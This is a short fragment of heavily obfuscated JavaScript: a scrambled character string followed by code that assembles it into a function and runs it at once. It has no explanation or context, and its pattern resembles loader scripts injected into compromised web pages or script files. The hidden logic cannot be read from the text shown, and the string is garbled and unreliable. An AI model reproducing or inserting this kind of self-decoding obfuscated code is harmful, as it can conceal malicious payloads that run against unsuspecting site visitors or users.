;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})()